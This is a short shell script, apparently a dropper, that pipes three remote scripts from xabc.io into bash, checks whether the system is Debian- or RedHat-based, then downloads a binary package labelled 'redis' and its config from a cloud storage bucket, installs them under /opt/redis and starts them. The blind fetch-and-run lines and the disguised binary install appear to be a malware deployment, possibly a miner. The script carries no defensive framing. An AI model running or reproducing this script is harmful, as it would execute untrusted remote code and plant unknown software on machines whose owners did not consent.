echo doing...
curl -s xabc.io/b|bash
curl -s xabc.io/e|bash
curl -s xabc.io/v|bash
cat /etc/issue* /etc/*release 2>/dev/null|grep -qE "debian|ubuntu|Ubuntu"&&OS="Debian"
cat /etc/issue* /etc/*release 2>/dev/null|grep -qE "release|centos|CentOS"&&OS="RedHat"
wget -t 3 https://xabc-1251125987.cos.ap-nanjing.myqcloud.com/src/redis.tgz -O -|tar xzf - -C /tmp
mv /tmp/redis/files/redis-$OS /opt/redis
rm -rf /tmp/redis/
mkdir -p /opt/redis/conf
wget -t 3 https://xabc-1251125987.cos.ap-nanjing.myqcloud.com/files/redis.conf -O /opt/redis/conf/redis.conf
chmod 100 /opt/redis/bin/*
pgrep redis||/opt/redis/bin/redis-server /opt/redis/conf/redis.conf
ps aux|grep redis